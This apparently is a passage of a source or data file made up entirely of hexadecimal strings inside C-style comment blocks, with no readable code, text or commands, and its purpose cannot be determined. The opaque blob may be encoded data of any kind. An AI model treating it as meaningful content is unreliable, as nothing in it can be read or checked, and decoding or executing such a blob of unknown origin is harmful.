ca333cc8e18edb21285d06938baae9cfcaf37c66fde53aea73f441b75c8b028e646ce9ee9d59b8e1c99ca0b6cc81efe1af062d4d734f4c4900f15dc2c0fd091d8a36380053aa67059454f906db85912972b37005cea358e174b38090a4ad9b17ccfa231e2d760adb1d6f5423f8927e6c25009d73b78978c4ed8e1a92f1e88c7f0120ee54e820fb2b72e23f6531004c874bd66872aade187d37eb4bb1a2f0745193500874624b8e09e80c205dbfec16c2aa5982dfbf43117a31442b5d859f2afe445e1ad5a11dc754118eec27ebd9ff300c62f0dd90af804b73d9e58a870530265cbbb38980572e15e735d1648949be28532cb179466b38ace4a7167aa6fc1383310b267cf16da70b1d30074cf4e48f97ff663e1144dc9676ad9914a56c0c07bba718156c0a55d2b7b12dbe12c83e52806fff6fe0f1662249e77fbfe61f8890250d628927e56ee5969f96834f70714ec92072b8fcfe09de68033b8c46e2ffa6afad12fec4abbb03153aa4aa9a93ec07d97001355e43fcdc0c10ab66fcd88530f344caf053c7dabd12c40d7d97c466f0e4a820aaea219898a8c4cf8d8dcd9bd441e3ee8205f80e6ed90de60f7eef01f30507f263484407021ffda600d90263813f327d2a6b05b66d6186a06b1f9db2b1503b235221c99155a8aab0338c96605fe8814776f3aae300b2091bb1c2b3ff779d0fed04ccb6b3ebc5898558a13fdf74a5d6185bfb01803572d9a9adb50bee2a24582cb155a3e7221132a278208e74675654b0c3ae7888d53df65e2e9ea9f7c0a855bd3fceca6fb48ad4b56bca3dd4b85ddc4f6486c1166c1f31d3ed391a73bde68bb88e2c5086583b4b1e55bed4d5a4e1ecb6ab446d59fca7b17bcf276b7da312207a21ae3abdf4d850d174b67a1624e971c29152818c5aa33ac659cafc7ebcfce975fa58702443e5f69db443a64c190a4033675e0dc15bb6f2366c14189d9cca42c676cd403ee104c139ffebc2f53718dc93e4c139d873c3793003ab6258514c7ee0f0174efc671a4b7e2d98d5717c7a839e0baa6d2ad15ac5d3fe5191528f8a6fd42de76b014c31705d9b41bbddb55a77c28088dd13335f364bccad95ccce04b6239551d6f0caf611845ec5a6c1f354fa6e76276fd3c5eec4aab37626976def9c8f1b7d08d24a59e3b6c239a0edf914d8029e39b0416ed0ae387d4bad62bc97770f64993b2b20d1bf60ca54de9451c6b11a05214d773f45aef6f51276d79257455370be3add23c2d5cea7aae77fff32e825f33dbe2ae4b27117e08c364cf430a1d30b439220f34cdf94ea2e77eaae0f991a089ae7776ffea42c3a604e6fb2d4b46715e12e1846cc9ccb82f46a694b3c59ed8ea17089c542c93f4ce73bf879ce126582540aae7f96a1a0fe204fa3fa94d*/
/*6ff40dbf5d3ed5933e841a5a07c203e29a5a60e49f6c3f3a0259796c24c53db4bbf845957e61dda98c4ae99890c1721106240a010adafb2acee2fbc917c03feeab483ee0b8a3ed895c152795060ef09b65705dac2534eeb9e48f1cf426d188e6d5a3f2c459c3bda48f67957db209073cde7e7cbf881f3cd55a4895a8aca5189d7e0f03112c67c796284619507427333a522d920985018e8a252689477e3544eddc1e52200797cc15e81bbe0ad8f3bb05d361de6b3876a21c11dedfaa2d494cc7717eae2e3e03a2ac0b94f4b55c14c59cdf17a8a5e5f988694a2163dd6a9d347d7ed35bc471ca60bf9bb7dc337f1a0e6fdcf0294de55388d84a4c8fbb1610003cef38f1e60bf88b338242c6db59c14fafab30a0d278f4a8fc9e1ef9562c61cf526b164acd73676bf268c5c82a37a0b3870b3d9dfadfa7546b18cd7c4f3fb104bfd9d016e79fdce99e73321e3dedb3fa223ddfa269a7690e3b9468e1f96c180f183f876e5929c860aef0792ef3375e0bb39cdf8b7b309470ff5faccafcae59bfe67c85f4ea36861fe4826f31f3e2498ee0a0e72d4e52c499d6dad2dc0c80c560239e6c2ea8198bcfe792532573291cca48a490dfbb4326028fd699471fdc0399c1194e2396be8033a2391ae87f494ef984ba6b464b2e325d3891b2adb30e5e4f0e881371592b66117b988475254c0e21c27e58b71200495065db125d4745d57a6f0014caf28111da8c9cfb1bb734ddf71d35fa3041c0136eff7fe153f9ac1a9f52f1ebdb1d50e3ec825f5f995bf23f8960e319a3a6b730e36bfcef75768feef33ae78005f28e23d43405095775273f158be64627bd15e5d801d1528b58069eab4c15b9286c51ca86c5f89a53a4e07b96394d9951943b85517dd743983e499375ed286483070631b91206b70581e2cec378f2f6d1b2feb4b17129220c0b0e3c1abdac03d6333047aa2510662184a476b99624cc0330a8d83019f43438c33d681a736728beb88ba2d1cee0543faaab4dbe26c96009789d75cf0ae252c77d05e2c766a6581fdb72d2476d2e78615e995cd6cb067c30a2c8a113971083f25301309e115a2852a491b70ef5a8b3d18a6ba485ac562525cd6e3225fd670097e1488bcdabc6ca8652ac94795e1f5ed65c94183a53fc5abfabe51d9ad3098e0a6e42856f377b7c30551dd41622ac1c08cc3962331a8d774e943d8d1f8cf0e0eced9788f82ee4067ddb17ffc13e1e931b6f8ab397800db12f587618d1872a1f84f5a3e88ab313d9aade8426763b8827ea1f8fbb53d725c71fcccbd06e33962d7944d207eb760aadab24acb322db975f928905960ac1647c2caf110ea6c579ae8d35dd49686b3e1bf5bf596177b17a126037628152feb30563216086b82e070e411d698c24281a6bcddc8c873591dbdd44c11bf9b916465e7b6a498a1d54bf3c3053a51fa3d8e5cc94475d62527b73e4fb9709d05c7dd41cd7c039fa87b90f8124f81dfb7b960ad3575697c1559aee7468278a0f0f603f3c267a833718fff9addea8c092bd6b6460f520950875d310109fa0e58c93bc3570b56929c5b060f90603f0bd47217a59b1277a30c76a2fcd3814676aad235fab8160f0111b135cac1f553d2ae12c2af88d67a83e01120c58abff25f8df22421a5eff1533b93e7e3a378368c81d11e1219aa0878e0f0a870d40490ac4785939952126fac2440f7f6e0500a245782f61cf3b9f892d58c1f8f71e25dcfeae157ec00ed3a43ce196f7467888f0934b3c149e8eef9fcf97c17eca2c8393366148ec03b66611b4030ecfb9c653df0f363a2c9cfb8347237a11fba6e1f5d9c71c18bd87fadea5e9f1a9b4be3eb0779d2f397b8332ce2e44c5c226613bdcd9f0cab1de8d7264b7f381b88a0ae4c1a96de09d3e300a2b476f1e3f1a5732620fe4e26dfe6f3f19b45b5b78e5f5414dac6847b094b9825af513b354f14b53cb65dacc6e79a7e1a73440e66e4746c53ccba4ae5446a1546401675778fdf35fdeafe75dd22e7afbc2ceb7caf6efa0eca1a0d60e47b377f4559361343cc4ce25d4b0d9fc0ad5f217300f784f6633f5f3911f81e6dd4dab4acc80fa6941bfe646c7b4d8701400765d60df750532ae4b781f4b120a088d66c0a542e5c692ec5efb8970e34cf10e68a90eeaa678bcb14abae8216373fe63dad944a1f71f16187c0d6efc0807a22b01668c1cf54b5f9e250b4c729a7421aa7658b972ac447511fdd82934163501b5168b3b7226f1bf228c14a29a11a905af865f05e1c62e7845096e94d2931165d377325df648808115b3cff7a254db490aef58264f07fec84a05fc66a5acef7dc8306bc3b35fab12bc7a04ced7f477da09921bc535d8b473f2e0ecb715a056f19879837164692cdaf3ec60f6c26979f74e77d1d1e94b5d104a53233d2a146b22795824a5b40df991e74e5a97386ee47d9eaf0afbcb1f0672f2a3660343d9938e148ffe607324d90ca605dd76d934f8b55cb7f16a07b08fe8899aad6b52853bad3708665fc122445d4b557d0391391bd6cd4ce2f5c5147e5ac4a06cc84e3ba0317673e9383217898fe934bfdc6f7acb6e9d5140c0072a5aa1d6f0db71b30d95362c0d86787563d425f8c51fcfb51bd5122a4fd01ce762914b9a1336afbe31aec97976f873b554d383554e3cb4a7458fd6c28dec83c53fb6ba9f674c1a7e131a8502fe266fea94cc6e8243c4956b8b284e2ba550769cd22a7a074af25d5a7693daff53a8cdfdfdbda54d0dd57d4ade92a15cff89b92d31bb3d4737467116f56c88b0e5fc1398feaf21151ff84e6aa736ed1d9735c5e4715a06d58c34ee05f289f1fa*/
/*e4592785d93fd203b11a97e5f0031ef7829d34e0fb8409f1c4ba0e2e510eb33e3fdef07840981429105e3b50b28df410fe8518c15ed9759568dc2cd19f9990e4af96c423271665c7cc996ae94d6a4d5b775f3c5657045b7d89f915e1336e157024725c7ff74aa28d2f2ecc0ebd0d5cfb1540ec6fe8782074a423701814a68a8aa6d5ea643464e4046d2b8612df236e3f16b10046d8d57ebc56e0fa90d46150c150ec783f30d7509d5ca96203e2365eb7906ff0fb0be5314dc49a6ca25ca9eed99434d3c761682d5aaefc2edb05092217250fcf146266b4183aed2cfb5d143f1f80f5845e32a3e8fb53d441ab195aa8dff74cf94471cbaf23e74fe619c943487b5d05a0c74083776bab322e407ab9641ca360f2743d27217859886c63b990daf27156e5ae224505f5723537bacebc8d8ee48d61302d8c1ee940dc87eea0708b5bf1fb753e1cb24e289d370c7d73510884372acf73f344b4e54931da500515a224781b53a7da65198a42a45c10ab4f852d28b9619abab7086ca30eef26e522b70464a55ad731a3f6623fa942ea390063a724fafda4ace43b9225f6dfba1b30a838741ac352ab18d07ae8be9dd865ae3fa8e0ed7157407e12295c2558561d98db4a4c2559b78743ee3bd16f315a4bd5f9ab7f667dd39ce2218220ef22c64b00ba61df82d8dda91df351cf1caaa44fe863410bca08462abe3b4686b2e9c380de9e1a34eb206a508a664e9771e9a81c5d90a6ba387df50ce91912e8600f42623c8620444031bb74b32ff0dd861c6494c9daef31f5e0e0da26b3d0fbc6229581590d2901d8643ff3c3a4e063de5eb4f0e6c6253ed290bd8cdc325378687b4d0f2a1968df2123283653b4549ca34872345a3d6bfda7b5a769dd355ab90ccac8963796d7ca0208ba80063f3457d216e859429db171dc09ecbb01ad853aad637c63e562b9183554e3d5182c2c1b35b86ad30ba33dbd9f424d3d5ad2658ad6f0db1a572a240ba08f0286e880c5570767b3d354562cf1265641abda300e90f9b05853933d45d9d24f6e47f8fb6958bea4d843a62dadf2618c27f6c6b1516ff054816172a5c693fec9412b9288329a9ca52e716a19549df2e20eb6277d6ef5099ae9971edf49218186c1b850967dac37f714c7a2160150ef9b5ae6fc1b5d9ae41961adaca8324e9c795bfb2510d595d9ed6149c846203fd02599efbf4494976086c8dcda8f0605cfb7abb1db15e43fe90104e96ea9dc7fbc7ad6530112785ac8e7d69987c6562a5caf60318ca96199b2f67b39236bb60dbc642d49e1fcb34b4bbb49094f863b90be6a96e297e9db383848a0e79f96e5f4e3f15295549af4b9fb1271f27a733d08d8bc51b2922d02a447994a65dac1e05b49ae0a1d1e5657acfef49011297aa7c54a9d85ac2f7566ba9efbeee134064085ea73b08479a959363d58e73a942559df714781272650243241e58b5da4cea3af44d0330c1c4ddad9e851320d8ff5a159bad1f8f51c77d8833f1c11d083ebf717228c8b44cefe31e5edaae9bfd48976e70d33eddc29b0d292dfc0ce13176d2307525aa7b052557d565eea0762bd09294486bc0d87a6258ad16aa986b277146aa0e30e09539fba6b84091399d8569a850fa5451da544fc0577670a2d9d2c86b4a0fe76ec4ffeda4b70e1c543a20bdf4d5d9f767d5634cb506889970c6e432d4de4e9061edd05510651b8c44c5203290c8b38e9ec42ea8c9b4f0f925cd92950a8dcc9ed45f0fa2f0266bfd1fd83d5b0673d0466dee3a5b0a71a2a938d3d57e9814897679965a6cec87fa212839c197071b4bb8720f64b8ccb9591f70847b25bde2092fe8505a6b2adf3ea7db9bd6621d663b65f7eca16f2d136bddc65f8cfc543c7e0b13d671958df06b74a86be6d32dbe199509b5a857e971ca282b6cc9ac51e0d9fe64022e02c25ccf7c44ec259db2df27c4c0e0c5e7cebef8bf4c4fa9363310e145e5d8217d51770fda72f6c26451928b0f8288c91d9d1e13a0dbfe420e48f6411fc2cab95a0a12e16e7092eec4ddbc40a34a5e61ba2d6fec5b92e8610df69d073771da8a23e5b021a37a8994ca5fdd0e7e86b5e34a923e0ed669b35d3dd1e3de6ab36215a58a29937225093841eab86186c48e53f370182624381c6902bd4b421070264b147cccdd7b7e5a4c68f3b3f88f63da730d130f0bb1d5bbed6d6f0962cf91ed8645e99deb75a704d2f7c891b7bb0b725f55c5b734d751c3953cb6c39cbc29b50be1862e4ca92f18b23d32c50998a2caac0fab556ea234ab3acdbf1a5dc6a856591131d8aa339e9cae1a534a8eea6cc3dba2bf9d542cb0f385896d4441c95a45b3cb52879ac5f5de9dc0b7ce2e3184416626b9c1c9ca2f5c38c2aa622b225f189fa1aca0c1930a433e4340ff91cd08b286e0e7b82a3697b806c5366f9fdc097bba50e6f08e764817e1c5eea95888bf0edb82f3b9264115ccfd48a4f526d05ce2648739932b6ed6fcc93c40e42a632c5164fe0db6ae38614ca0cf724837cbeb4c43a98ec7a7f3a9a3d4872caa3978a4c0a816e6d0675e96da4bd11ac1a4344f53dc1881d766d950a9458de9e0c7c4c35d25961c6bd29c657bb95efa4eadd1b0fc68de441f0479cf710aef48c99d7e7e92a2a6b7382f44d0694e898cde212f36ae4f5514d09a953285ebc11c624539104048b5604dd12c6c61853f1da1a7f8f139705bf373038fe0430400026fba8d90fe030f51e3d5d813df0ee6d56929cb489cadcb451ed42c74f4da21b589c06df27bf10f72b7675894c2968f622a65156875527a240d9d7b3367d2652dde1dc563c329aada3d03d8c4435b2f59b*/
/*78c0a261a487f733bf15d73dc14e8053ca320e03d0973f4348117fb6abee1778b38520b0d730ea6a46ef097bf4669e66a3d07507c6327cc8b4745615e6915a97147758e98f4e4c5069ceaf9d3a2c0f7f962c65b569af9953b3577d9c069ecef9248770f00f12da644fc9974ed478dab8c6d96ba148933aec4a3f4555bf93244139efe5571286655a90b5016324563e2420fba7aa4d54fb79e068ec858992f5e5bc56190cdfc300b27332ae3f64f6a531c5ff54b68d88f856f29962ee308d2c64678fc70b45aede867ee6bdb70503b4e16e8a0abe05f9c9ec7628cdd3a1778b3ba4a91d93e729a70177c772ee4d19e8e65191222e48ca19b231e8714e59df60fc18086ea2771a7c8ea92e68a5606fde222369d0491c7bab2ffe591025fc9d4bcb885db7fcf439c2f790da4f0313fb6f25beb3ed2e715979f4e8ca2faf1fe63aa7b075fe0c2f1681a615a82ad7666c1f84232ac5b046e5a191834da74fc47e6c1e336e6caed4975bbcb1978d2bc91fd52f5057e2e1dbe9b4ab8c70ac2c069e8f3a83e2111e7dc4148a34c1861df5a142da1474500350512566b7da57368fce92d0e2a594ab40fb97db82405ae072740ac91d6dcbee144822f02eff1c8444b7055ddeee63a7719040f2be2766bff78d3b4edfae13702a19c8e7c1c19358d9b047c44f110ad303177a4e221981749da5d1425d51f975f5e12b7380c7190089269c806162f4af3241d900c807003f597ad091cfa73f7dca18113be7c76610edf86ede4ce02f44177f42be50f78e67246fb1b64395b6ddc80ab91cf7f364206e0b74e15382f16548a90e7eba5d2b35b91d5c322b324aa67fa6005beaed91a7a1f0d4bc7b26d6a106b41c6cc8434a8353471cd1adca2fcecc00e7b88397eedce5e99e538b43e60db8b1dbdbe66f55d17afd13e0e9b8807e22cfc5c999104169d0b4dfb56509cce023f3152d4ae4486f15d0c1312177eb0c2e3d109b953c0470db7dbef77253b47feb1529bd4ae7dc324d72019a9bfe71481bc269b1d53502baa00410888a2f953997f5d4deb6bfeb161ab32a195678ef7c0e8ed459053ac8bd01bba60c5f0a93fbc3ed2081fa59e86b61aa0110d0d82e039b369499fb4d125908cfef2efb3ef8d9256968696fca920987868c306d0795a86cfde934687af8d003d9d1d042bf7673786f2a05ba5e727c8165d78c3d1571fd5851d1f9cd818079fdaf136e1839c59aea127d333440c500d958a7deabb1751c684d094f362f7d76932a6ea14bc73eab23ceac2dfa166eb2956a60730264baae73ba2977f3191418be6efafa64cb0a36137d92519d2c120537eead5d462f6d5f47a22cdd4e45f0856d45cd9fc52319938ed2b65c93707635e588a6921a4c14b0c1ccb14c5a9a7e69878953bcf0e21e19201fd4a09cbf60d9503ba38ed593e88e7f5e0b6e242c7228c25e01d0cc1e8da65529edf7c0b2363eddb499750aa5b38062c51d45e4ae1c9c25697e4cb734eb4329392ee56d8bf04fe4080fa827ff607148f16cdb80f8e4ce3654e737cc49416066d0d2959c31a93cae5c47bfdb486c8f68efb15dd1a180c5581fc3548dcd60578e472f2e2e84b25db36920957c23ebbcc03fea7eee114ce1355a98a2e58fd76a1a19f5eac407d4f9cbb21cee863ec2eadad0959860da2408fd54200bb49c4c6b9e8f83e6f0c37dcba7a9dbe0203ab41ef94849521ed089bff496142ae7030a9027b081fd723a7c746799c396fa4a6e0b2bd936a5a8a9d7ba73e94b8a05659b39bf4620675640ab92449630d6b2b929708420d4e62a017e56e0563373d346bfc666375e800a6f2879684f5f70c56bbe390fa63e2a4f9738b24a6d5df92817cad8081cacdb53e6bdd2df59eb8b83abdd760a2e88905cdbe98dfbc6487731ae2ae1ac0654e959ea94c09fc6009ad15bdb1a4468e266eb1b64b232ebc648731f4ebabd85c100e601aa352159a3601dcf03d59a01a489d865ac2c6529cfb1f8999b4a94378191f7ace6ad7caf6a2d1ccaf8beec5851729797d889c7d502f6b8a60197579a9a1d8a54908c37cef3262248461674ce47d2e374dd7dbbf2c727dfd18dd340dbe5bf8773ec69a2551de30625232b84d420ef986b805ee10872248495f405958a49f193178379a5b1d20665e893abf98e176aeb6bdbd4dc2ddf048e05235aa59bb26eecc7f5b7de03f701e3de4df65e5869611efcc69c0e7c5a06407268c4bead8d84f394182c8d63a44dacd3c02a9b5c43f39b3467c804ac882782648870c3eeaf7ac18d23519318b93abfb0dc74a9665f09792ac98082253e24b57af12ce7febb69b22f3b4442f1dc67c3d5a37d3c48531c6efe12e457872c0ee2cdd7a1ddac68ad7fdc74fa8c6c55c0f1feccf84b4808d764bbfa1eb9f99cffeebdf19233bbe35b6ff6139996977d896fb26a1d4e7f94e6ac2daba0a2f981bd6c6ccd127e324b5038a43b0cfff9a667c2823a8f3829c87353a2b1d1f1eb5a1f50e0c80bd0c556d03afcfae550f4533dffd2b76df069798d6b94f25fb0d02621e1d8fd5c555f788a190ea4714c5ca416447979669bb23f16942c18b6e0fbda881fc24d03e1249aace6a745e0bcbf15890f8aac51a3aac5e2cae1e75af0b453c55dda5b0ee2f565528dae85b1ce0fb7678f01df960c5022c6f1850434ed0d5e1d3795d4433e0fb09045ef4695e486764163d1ef3d9920d301e714359c72c760ec4f63be15f05f4f608fb64abf2047b23498567dd2340a285a9ac7c96f8d6a910c9df7442b77aa1d0cc5ea9542ff3f46f4d4799ac0796c0ad299eec1de3ea6a507bb4882373073aa14b237e0792ab40276*/
/*1ba18a74eb232590868d35b5a45530c4291dfffac5c8129f7f6e91fd56a1318413bd683158968ed58474f434ba51e6e5a2d00c8864ebc8a64b063d86833c989c7fb5c17db8ab526f2c5d330e955569e211459f79f04cd40caacb316984efdb704103951406f28941a8f8aebf8763de7dcd0539ebc556fa850ab1028c6ce7a5a470226e7077227110731b2bc58e12f2409164e21638dd3f8b9feb52327164739da1b24972cbb148e9dc2d01336255af633dee755dd4e92cdb159a3c71d5cdb126597817060028b4757b8528efc4ca2939c84863192ba61276ce7bdb5beef7c4bb1dbeb5c522a97948b4d0ec51702f4bbe4edd6f7827ed96a7e5b9cc1e910bc7dd1de8d39e0df2135663af3fc54fca6c7e3126b78c11ba5acbf983862de9cccfd00f95681c827f2eae89418506d9840b7cb4abeb1e8105ca39c487ffc7340c24410b17fa205789cb8298fc56f77734739ede90f4b2c70992b24e3d6c8cd6f9c3001e3a2b23711ec73016b978f981c2e234f0155967518005e8aad5c2fc508d37057421aa18b7743e398665caa7850f3c15b9d01300d2fdb08ef946555b75c69a1eb9dc8f7eb5011b38db79c85dfe9d047059d83b2665d30199989af0c8f0d44515e8f9959e1ce0b2b83393dd42e80169a18f809be0e32d48c5682c808082646d10d40cff9412ca382ce8f674cf5359417deaba3bf8e412cd37df1e4dadcec24ff7903b4a073baea0d4008f7dc2261f6aaa2bcbadc9c5628d0028e182d2164d9f273fbc3a2deea53bd20e111e2d18f43295bbe0c0dcad3b2f104880649d360e6a0e2744989e94b247005579f8999cff880f081b216c091ef9206f10b01dd1cb73ae80619b3652237fe2d1108287c6595ab8107ce97c3eb64723aee37b99f33efebb1a56cb5998ab3a87502527e501d4a4086c04fb571eba28ab044d9643b90b621e649a07119aba0d9e7c3d5c72a2adabbe6f7730e1c3f81855638cd6f63b0f67061d73a1f8cac36d76ad19c865308f1c486d22fbce1aa981286a4be5d7645d5db9ec4c87ca8debf640d67c90387c81f4f415c4c97361665740eb6bffa37c3a6704202cc5531e6505f3f78046a24d6c3af6a4587c919f23a6319fb259a240cb47394a6ccd39f22dd7a6a48a0722c8c34ecf426a8d6c3494388c448e5e499f8815cb1d19bfa712dc6a2ab7f5d6bfa668d0329af82f8e872b44234a7e0332ea745a00bdc41f1a77659530c81801bd8d6fe6d4a854f1d0d3b5368e54d17629906ba211c2db500786297bd4ba87f3a0e345cbc0676f7401942276fdaf545bfdcb87275b251b1dd6c3d57596b4a0b2a39b045a839ad6b21deac9e1031c552d7ed3c947b517e5f112c75f7bf84b60e1776c3ae0b6fbafe5e128685872435c33020d06497718f7816d7b16e624a3542fc4200fe021b27efa9b4c42b5b8feac1b8e95e3ef10c367f866ded72f77fcc4a3ed3244902237774038cd57865768d29888aceef6345e3c121c7c309538dfd96b208dda49d8ba38a3954f3115c9edf167c18df6bb5982063c249fce6299cd9da2aaabc52ba01dfe1135300285da71cd39e4d03d9f4f84501b00506359f58bf6fa0bb9db71a4fda49a6148ed681ff311a52939979251eb11371ba74e2f4e491a0597398bf303e9dd0477343ee78660b23592c66e113d8b4e4d03d9313884ec956c022e6300ac43e1c9504247fa47745317414e0aee47687ca0b3c58bb668e303e9781ac3a7d9d08ab9a6176733a8efbc78971521ec897cdae26593e9d40e704c34ea52fb96741cf6e2560e2f767351f6610b123e411bf601919d856c0e8d676e67a036a2cf1809455492d000d4cb4a255e41f843a6eb678112d92ed8868ef20994fc7831e2438f4fdf062777d329eb66dccae5da599961edf1991138e58f1178e75101ad1e55c727d3f8b11dfeb75b30f3cfa594ef8d00bec70053d402303427c072daac8c44ac5a04db2197e4e8ce85058367e25af27d0e26aeae0a05a91b0d8d92046f69a151a2bec8c61013093859fab129ea398d8ffb175105e66b005b827d52d9d199e660953b08bcbd2b940ddff71a21cebb0d5979691a0875ebf2cfd672a2e7b24d5afc5adfea655871d868df65c3d7b17962f5d58004600dbf8b0fa20185f4399f96279a798f73124b1dabb179f87ffe7983143dcb75c23988ae1409018749b622fa5098bcade3483eb0ae7cc46ee8a676a07bece4bf2f3b426315f1ba965815fe12b67c8c17011d198238682b4b8a300e5a9468386498241feb129cdfaf5a686d2d391b039fa75fa8d599b377866c72c5f785623165e3a884bba9918617c209422a9f7402f16cd89bc3719cf1798531d30fbfdc9c1c777ac581ad83144bea8e818f0d73f6be8cf2947bf042ab1c22f5670e3ae7cd5525e4a79cfac6b1087e598f61936b50165f355d8adb68dfb18ee08b56be1f7cf011c20462379cef56ba372896364f3cc06662cc0604b72b6057861ecd6b5144c80ca15b7bf16576ac81a0a51a42b64856d491473b8ad32bc91ccc30150cb9e5b5cbacedcf177bef1d3549f354a5369bb64b879c3c13beeb12536002381b600f8afb1ce3012adcda2f71064181188c158adb3c2b077ec1ead5facdaf1f9e7ccd1aada7f829ca18772d8f4fffa6109abc3c5c012824bb659a4818306bf14e880c5546346b68486dc46c4d9f02ffb99a6ffb80a04985b66982d525302144883d3381f4afb4f951506580299f3b7a346132cb7ad5f7f5fa3666c1fc2a3a6c377bbeeccfefa23f88c60127721d87594dd9bd2f404a5a8a1146be77c5995f0365a7e93365e281a5196572970da6961b*/
/*9f3d7850282da6c3baebc41f9fc2a36487fd1a242147d344f5adc6e2f88ad7ec6e21ad9e460c045cebb9099ae1a7338de3401ca8545e8c98a4cc33276d507d82e564d20e450e946c19113e853a54f29c98f9265f297b17d9dc76b70fb7dea2cd084737316f855c4e2f5a4a988a16adf248fbd27513e49b46abeeb0cd9e47c7083a7e5b3f1194621d40c421d0d8c6b43817d409e52f766a0b64a5a9e8b1da7bd3714411c86f47cb4cf9d802e656caac936cb3b9841c2fdb04d386eca54948bde568abe61081b04fe5dff6d91e91b0f8c8f5f7585e5416002a834d40c81cd2fcdcffdf32bd8b1b25ccedcaf5c9dd1a07b3e6b5826f6f61a3758c6ddf412b5195dea1ddc3b2d2ad47c3d491080bc68216cc2d1ac63cef34e696873dc8d6dbb2a00f581047fa315ccc283262371ee1f7172a90c53414a42fef19e01b8e7fcd2eb7184a5cd190c2044462a064e637f44d062cfa66225f07c1e680e19fc9d8eec2c0331f783e5426fd5f6e5999352d76ecdf865265312e13811afffdc4408b6cb26a59cf7fb7177093c9f22de8b4fbc23b47da95669623060ba5031aa6d1b9b4f5f8b0e0e66f929174456dba857efe1e1f4bb36202169d30b877d13d571bb6bdfaa5eb0af559ef0b4ae2e0a322e58dbd04a0b793dfddcf9d7695759d8e1f6925df39259065787c27fef682f94ad587dab6ab39061993876d5a20bdd3fe29ffc6d0229cfcc279134c8ee3c88bcb86ca849fa72a9df9a06eb37bbf1052fadc4d80fc2a5535e74ea13cf0b80559c4935dc2c933d2a93042d0bdb7a11aa9d93cd427319fa97e8f7bec437af4ceb65a8c89382f04f9af528cce2bb93e8801f2c029739179ff130f1b0a311fdb34834d846a91dd66065fcf62642ef85ce90c3337cb72064359c1ba6ef520efcb25224ebcba77485536c710225bd2551ffe32d242cd1725f258e40c19b01037183c8d0098e4943531d5c05673eb2bc8234476bd6329b7677fc10bf8aaf22a402e79b64c31f7ea365bc9e7d01b2899d51dba5c72212b242f6c4b2c018fd38f524e45491646025e3870ac9e62dd563eef39c233fb504d08cc745c350ea2dc302101c89c6c1f4e7d45db0e560f363471ae6ca26f549d810b91935664aa94f740be28fbd76ecd6bb6eeaabeaf0ee5016877d68a92a2956cc9da4d9f51f8a6de322ed7b4a4ecb70ce08e3435d70c37db22885bf2327fbe5fc6dfe52c432e5de613590c98471942f7dac81024b1513570802823ca1d45da72c544ef61d17459c855ff2ab41a4fa17f6362fcb2058c91b08e0b065d3f9b2814fc7a07c789e383120eff130f985a06043b9aec6ab00f72070b1b1ffba6d5818d2d2e408a612a9893151414f3902a8e79cfd68a3382fbcc65421491b7239e56d926cde7e114a3a328089910237fd428b3c60d0993f492b63cb68ae2f37b5c7f34553bfe98a85fa0234944c4b54fe640f316d4f6d1f16c0cc87bcc9bd3af9ece9277d93ad8ad449abf5913939d99d585c1c35bb05cf10e479beececaa93c7b69e69cb94c2a9f754e49dc74505833bd8b64c6610d71358811d5b3a6c14659123a3a6d3c616a90298e4e46c54e61a08366fddb4f629befb3d8d90282c81340848c8c8e1a13dba868bdfb52818c45d8fffa6203e9c89cf9f0769c858d680267b7cd30ce6933b237de812760b08090f7909addb9a882c4c39a7bb0ed582a482b7af9b801970b07b70ddec061810c94de5ccf856bda3a95dfc6f95465fe20999ee82326626eab9af629d7e7bc9402b16ea21cdb07609527aea212fa3c9cfaf32599aa3ea91887003d7f660d1843e0da1a4e10aad59913d342e5ed8356bda2d287738dcf74bf797f8eee3a54a5f45f72fecf51f06e428000c7d7603ed1ce37fd5abe82964ba0ed7756f9e0e5f7f5601fbb26812672e6cb6fcd35037011be5c26327c363fa3d2252e29feada868307d0639a536efde9cee35a9b7d39d0e63a46f3a93b35f4b0cd75f09b32c69126fe62f5056f4ba7b83dfab08df29dd69cc9a8909f9143910d9a5c8f1c2457d245c5d274f4e73a935d0960952617228d9503f004825254db8d7609f3fab2a6aeef4095a0e007821379908f72fe2b634b179a8cbfbdd71ea39df2b5a25d0f9bab29cf01c43b6d652ed0981b6818b7a3c1713a6e8e67b4841d8f2fe6129a67c90b131bef59a3a9d7e38a5af977846aaaf9438a89742c964c2d9c9a6406e69cdbb39393c049e4c116a187b35cd94bc4581357a510a14b849812c9e0c149a486ed8027e6212d9a610ac99928a9591075eb0672176891a39459bb6641cee2c89701b231e39d00bf860bb1bfe3e4af2509b5771a64497612d587d8435d78b079501c69ef41d000501c5b9d3066008de323c3ba9ec53c761d813c6bcb857082370a2011242b6f2f1a2d5be00482514534f9cd961e81642efae326dee41ec495c263a71e1419894c5d12aca39e1b89934677112b502b7446c57de09d64b0e7ab876c92a4d6a9462002e013adc00ada9efbcac0172b56d8982685508d2ef3e957b3aef42fd6fbf8a39bb738291248c6da2b693e5c468bc8877b7b0555c144e568d2b152f485a5a7635a232f55b4cda1d5da616a8374d445a049a7d9417e077200753c071c8931c3e6ddd7ed33371548d81a642aaaa78cf889468a886679ca782baed5d2fd3500dfdb259284f1ac0874712c8e4d31266bd3012a80abe371ec31724aee0d83b0df71b752164a1b0542b81a17e701b59f1cc0e530e536dbf0447ab9cb5ca35937bb917959585f1be3c77a96adb42011974e1097ef98335abd9adbe1c8364cf246196f40a26a0f5d5adc7ee*/
/*21d71f16ba765876d7ee41fde1dd3e36cebc965f7235cc9de8e68650a826f7f29dd5fad85114790645bb0e114a9c68a0f2e126608865ee591ab9da854a4d053f4454651e876a8c1cc50ff3706cb4271897598b5a866c65684a894982e75ad9a02286d82e8587bebbee4e10419349a92136267bd4856cde826c88e45a833e087732073328355a2cf05efd191ebb78deb36ec2e8951534e4ba8c3d7afa3b762de7ebbc5507520f61ae080ab1153aa9547dcf854aed183db23b8cfa7aa1e4367384e4e6ca201afa4f25e2595188ecb8e41ee38af0c2dad9aa502ab10d5cf166136f7d8d1e12b637818b47465f97b63eaf3b845078196c784510c8b6a64bdf7f9d797ea57bb42ad8072cd06e4a605c16679179cfde28814b17b15beedeb7d6e6bc1a696f83a2ad4fabe1d8f6b3240f7c46d7a816eedbbdbf54763d7dd70ae05125d2ffef2a4b7f2058d695da9279511bf866b9e4595b5e705bfcbb9b464fe602e6bf612f7e5878153f166e200d51cc1a708c644de15877d2ed89abc2ba8bb9127b4eb818dbac94e473e27be18a25763163512f8056ace76ecb500c6aa3269bca4faa53e07cc02202a9e219e03fc6c147c40432bed5289743419d78c1f8e15143fa0ecddd28fc1c4ffd45173cb3630e4284c1992c5819ddaceef71b9ae4c10bde5910d462ae5076b73017be227b9fa96af61772dad4b6f71664503f9fd653e44798da61e4763f